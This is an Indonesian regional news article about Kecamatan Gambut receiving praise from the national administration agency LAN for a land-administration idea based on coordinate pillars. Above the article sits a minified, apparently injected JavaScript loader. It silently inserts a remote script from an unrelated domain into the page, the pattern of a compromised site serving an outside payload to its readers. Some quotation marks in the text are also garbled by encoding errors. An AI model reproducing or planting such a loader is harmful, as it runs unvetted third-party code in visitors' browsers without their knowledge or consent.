(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

LAN RI Beri Apresiasi Kecamatan Gambut Gagas Inovasi Administrasi Pertanahan

KANALKALIMANTAN.COM, MARTAPURA – Setelah menggagas inovasi dengan fokus administrasi pertanahan pada inovasi pilar koordinat, Kecamatan Gambut berhasil memerima apresiasi dari Lembaga Administrasi Negara (LAN) Republik Indonesia.

Kasi Pemerintahan Kecamatan Gambut, Syahrani mengatakan, hal tersebut merupakan bukti kerja keras pihaknya dalam pelaksanaan drump up dan diagnose inovasi saat bimbingan teknis inovasi daerah Kabupaten Banjar pada 5-7 April 2022 lalu.

â€œPada tahapan drump up dan diagnose kita mendapat apresiasi positif dari LAN untuk dilanjutkan ke tahapan berikutnya dengan berbagai perbaikan konsep,â€ ungkap Syahrani, saat penyampaian laporan kepada Camat Gambut Ahmad Fauzan, di kantor Kecamatan Gambut, Senin (11/4/2022).

Pemberian apresiasi tersebut selaras dengan pihaknya yang melakukan studi tiru ke Desa Ciburial, Kecamatan Cimenyan, Kabupaten Bandung beberapa waktu lalu.

“Dimana Surat Keterangan Tanah sudah ada titik koordinatnya, adanya catatan kepemilikan, dan tanggal mutasi tanah tercatat rapi dari pemilik awal sampai mutasi pemilik terakhir,” ujarnya.

Lebih jauh Syahrani menerangkan, tantangan yang dilalui pihaknya bersama dengan salah seorang staf dari Seksi Pemerintahan, Masliana yang lebih banyak mengetahui tentang seluk beluk pilar koordinasi tersebut baik dari sisi teknis, kronologis, historis bahkan filosofisnya.

“Kami berdua mencoba mengumpulkan energi berupa waktu, tenaga, dan pikiran untuk memilih diksi dan narasi yang tepat dalam membangun konstruksi argumentatif inovasi tersebut dihadapan Tim dari LAN,” bebernya.

Dalam kesempatan itu, Syahrani berharap pada gagasan inovasi pilar koordinat tersebut agar tidak hanya berhenti pada ide semata, tapi dapat diimplementasi menjadi sebuah aplikasi yang tentu perlu didukung oleh semua pihak dalam pelaksanaannya.

“Perlu didukung SDM, anggaran, memiliki sarana dan prasarana, seperti alat GPS handheld dan pilar-pilar koordinatnya. Diperlukan sinergi dan kolaborasi semua pihak untuk mewujudkannya,” ungkapnya.

Lebih lanjut Syahrani kembali berharap Pilor (Pilar Koordinat) tersebut dapat diimplementasikan pada arsip digital dari semua dokumen pertanahan di daerah, sampai pada gilirannya tidak menutup kemungkinan bahwa Kecamatan Gambut akan menjadi role model administrasi pertanahan di Kabupaten Banjar. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie